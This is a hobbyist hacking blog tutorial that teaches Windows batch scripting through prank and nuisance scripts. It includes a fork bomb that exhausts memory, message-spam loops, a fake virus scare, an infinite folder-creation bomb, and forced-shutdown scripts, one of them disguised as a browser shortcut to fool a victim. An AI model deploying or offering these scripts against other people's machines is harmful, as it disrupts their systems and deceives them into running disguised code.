Header Banner
Null Byte Logo
Null Byte
wonderhowto.mark.png
Cyber Weapons Lab Forum Metasploit Basics Facebook Hacks Password Cracking Top Wi-Fi Adapters Wi-Fi Hacking Linux Basics Mr. Robot Hacks Hack Like a Pro Forensics Recon Social Engineering Networking Basics Antivirus Evasion Spy Tactics MitM Advice from a Hacker

Hack Like an Elite: Batch Scripting for Malicious Purposes: PART 2 (Some More but Interesting Basics)

May 18, 2015 05:26 AM
Oct 3, 2015 09:15 AM
“Digital text art of the word ‘BATCH’ with a retro computer interface theme.”

And we meet again Crackers!

Welcome to my 7th post (Part-2), this tutorial will explain about some more basics of Batch Scripting, with C00L Scripts, which in turn will help you learn and understand better

#1 Script: Freezer:

-----------------

@echo off

:A

start

goto :A


----------------

Cause: Freezes the system until all of it's memory (RAM) has been used up.

Solution: Reboot the system.

Meaning:

1)start: This command, opens a command prompt, but with loop, it open infinite command prompts.

Try this script again with this command line: start notepad

Output:

Multiple command prompt windows stacked on a desktop background.

#2 Script: Aggravating Messages:

-------------------------

@echo off

msg * hi

msg * how are you

msg * stop tying to make me go away

msg * ill never go away never

msg * still here

msg * this is getting boring

msg * "yawn"

msg * i think i will go now

msg * yeah i will

msg * well bye

msg * "end of message"


--------------------------

Causes: Displays a msg dialog box, containing some text.

Try this script again using a loop:

Eg:

:a

msg * hi

goto :a


Output:

Text message notification with "end of message" displayed.

#3 Script: FUN!

----------------------------- (Copied, but easy to create)

@echo off

:menu

title MenuMaker V0.1

color 06

cls

echo.

echo.

echo Menu Tester...

echo Type 1 for fun!

echo Type 2 for a bun!

set /p choice=

If %choice% EQU 1 goto :fun

If %choice% EQU 2 goto :bun

:fun

title !!!Fun!!!

color 08

cls

echo !!!FUN!!!

echo NO FUN HERE!

pause

goto :menu

:bun

title !!!Bun!!!

color 08

cls

echo !!!Bun!!!

echo No bun here...

pause

goto :menu


---------------------------

Cause: Just a little program

Meanings:

1)title: Gives a title to the command window.

2)set /p choice= This command is used to set values for a variable,

here the variable is choice, it can be anything like: a, b, hi, yo, xz, asdf etc..

The Value of these variables is given by user while executing a script.

Eg: Lets say a=1, Then value of a will remain 1 until the end of the script.

If I type echo %a%, then it will display the value of a instead of the variable a.

3)If %choice% EQU 1 goto :fun: These are simple IF commands:

Here: If value of the variable "choice" is 1 then go to the location :fun

Similarly with the other one.

4)color 0a: Used to give color to the display. There are 2 digits, first one is for Background , and the 2nd for the text.

For more help open cmd and enter: color -y

Console color attributes for text output with corresponding number codes.

OUTPUT:

Command line interface displaying network settings.
Hack Like an Elite: Batch Scripting for Malicious Purposes: PART 2 (Some More but Interesting Basics)
Command prompt window displaying "No bootable device" message.
Command line interface displaying network settings.
Hack Like an Elite: Batch Scripting for Malicious Purposes: PART 2 (Some More but Interesting Basics)
Command prompt window displaying "No bootable device" message.

#4 Script: Fake Virus!

--------------------------------

@echo off

echo OMG YOU GOT A VIRUS.

ping localhost -n 5 > nul

echo Scanning...

ping localhost -n 5 > nul

echo.

echo.

dir /s

dir /s

dir /s

dir /s

dir /s

dir /s

echo.

echo.

ping localhost -n 5 > nul

cls

echo Disinfecting...

ping localhost -n 5 > nul

echo Cannot disinfect format hard drive(y/n)?

pause >nul

echo Formatting...

ping localhost -n 5 > nul

color 0a

echo.

echo.

dir /s

dir /s

dir /s

dir /s

dir /s

dir /s

dir /s

echo.

echo.

ping localhost -n 5 > nul

cls

color 0f

echo HDD FORMATED! Rebooting...

ping localhost -n 5 > nul

echo HA HA I FOOLED YOU

pause


-------------------------------

Cause:Just a Fake Virus

Meanings:

1)ping localhost -n 5 > nul: In Simple Words, Used to give a time break in the script, (useful to show loading... etc) in seconds. (Here it is 5 sec)

2)dir /s: Used to scan the current directory.

3)pause >nul: The only difference between pause and pause >nul is that it does not display's this: "Click any key to continue...", this is very useful for experiments.

Here: Whether you press y or n the script will go to the next line and keep on executing...

Output: (not full)

Command line interface displaying file names and directories in a Windows environment.

#5 Script: Real Virus!

Sorry, you will have to wait for the next part, it contains all of the advanced section...

Until then,

FOLDER BOMBING:

-----------------------

@echo off

cd "C:\Users\pf\Desktop\VIRUS !!"

:folder

md %random%

goto :folder

-----------------------

Causes: It bombs any directory with (Infinite) folders! (Desktop)

Solution: I have used the cd (change directory) command, so that my desktop doesn't get spammed with folders.

Meanings:

1)md: Make Directory (Folder)

2) %random%: Give random (any) names to the directories

3) When in a loop, folders get created infinitely

Output:

Error message on a computer desktop indicating that Windows Explorer is not responding, surrounded by numerous folder icons.
Explosive device beside a yellow folder.
Error message on a computer desktop indicating that Windows Explorer is not responding, surrounded by numerous folder icons.
Explosive device beside a yellow folder.

#6 Script: Shutdown:

---------------------------------------

@echo off

:Start

title timer

color EC

echo Type in an amount of time (Seconds)

set /p time=

color CE

:loop

cls

ping localhost -n 2 >nul

set /a time=%time%-1

echo %time%

if %time% EQU 0 goto Timesup

goto loop

:Timesup

title Time Is Up!

ping localhost -n 2 >nul

ping localhost -n 2 >nul

color 5F

echo You have 20 seconds before Windows Will shut down!

ping localhost -n 20 >nul

ping localhost -n 2 >nul

ping localhost -n 2 >nul

ping localhost -n 1 >nul

goto Shutdown

:Shutdown

color 4F

echo Windows is now shutting down!

ping localhost -n 1 >nul

start C:\Windows\System32\Shutdown.exe -s


--------------------------------------

Cause: Causes the system to shutdown when time is up!

Meanings:

1)set /a time=%time%-1: Here "time", is a var (variable), and we have given it the value, lets say, 10, this value can be altered (added/subtracted) using this command in a loop.

2)if %time% EQU 0 goto Timesup: After sometime, the value of time will come to zero, and when it does, the script executor (like a compiler) will look for the location :Timeup, and execute the statement(s) below.

_______________OR_________________

You can use this simple command:

shutdown -s -t 10 -c "DIE!"

3) shutdown -s: Shutdowns a system (attributes/switches: -r (restart) -a (abort a scheduled shutdown) )

4) -t: To set a timer

5) -c: Display a code just before shutdown.

Output:

Command line screenshot showing shutdown commands for a computer.
Login session warning message with "Close" button.
Logoff cancellation notification message
Command line screenshot showing shutdown commands for a computer.
Login session warning message with "Close" button.
Logoff cancellation notification message

#7 Script: Matrix!

-----------------------

@echo off

color 02

:tricks

echo %random%%random%%random%%random%%random%%random%%random%%random%

goto tricks


---------------------

Cause: Makes you look Cool but Kiddish.

Meanings: Displays a random set of numbers in a loop.

Command prompt displaying binary code.

#8 Script: Date and Time:

---------------------

@echo off

:A

echo Here is the current time %date% %time%

goto :A

---------------------

Cause: Displays current date and time in a loop (so the time is exact!)

Meaning:

1) %date%: Current date

2) %time%: Current time

Output:

Hack Like an Elite: Batch Scripting for Malicious Purposes: PART 2 (Some More but Interesting Basics)

#9 Script: Password:

-------------------------

@Echo off

cls

:password

Set input=

set /p input= Password (input then press enter) :

if %input%==cheese goto YES

if not %input%==cheese goto NO

:YES

Start notepad

start mspaint

Exit

:NO

Echo INCORRECT PASSWORD

pause

goto Password


-------------------------

Causes: Useful in creating passwords:

Solution: Edit the batch file to view the password.

Meanings:EQU and == means the same.

Output:

Command line interface prompt asking for user input.
Command prompt displaying a message to press any key to continue.
Command line interface prompt asking for user input.
Command prompt displaying a message to press any key to continue.

#10 Innocent Shortcuts:

Make a batch Script:

-----------------

@echo off

shutdown -s -t 5 -c "Error **8 99* *14"

exit


----------------

1) Save it as .bat

2) Right click, properties

3) Change icon

4) Browse for Internet Explorer or Google Chrome.

5) Click OK, Apply.

6) Pin this shortcut to Task-bar.

Cause: You already know...

Picture:

Icon selection dialog box with various graphic icons displayed.

Sorry Folks...

I needed for you to have some more knowledge about batch scripts...

This tutorial is mixed with advanced and basics.

The next one will be fully advanced, and will deal with the exploitation of victim's system. (Converting .bat to .exe, so that the script cannot be edited/read etc..)

Good-Bye!

The next part will be released slightly late.

Keep Coming for MORE!

Thank You,

F.E.A.R.

You already know how to use your phone. With Gadget Hacks' newsletter, we'll show you how to master it. Each week, we explore features, hidden tools, and advanced settings that give you more control over iOS and Android than most users even know exists.

Sign up for Gadget Hacks Weekly and start unlocking your phone's full potential.

Related Articles

Comments

No Comments Exist

Be the first, drop a comment!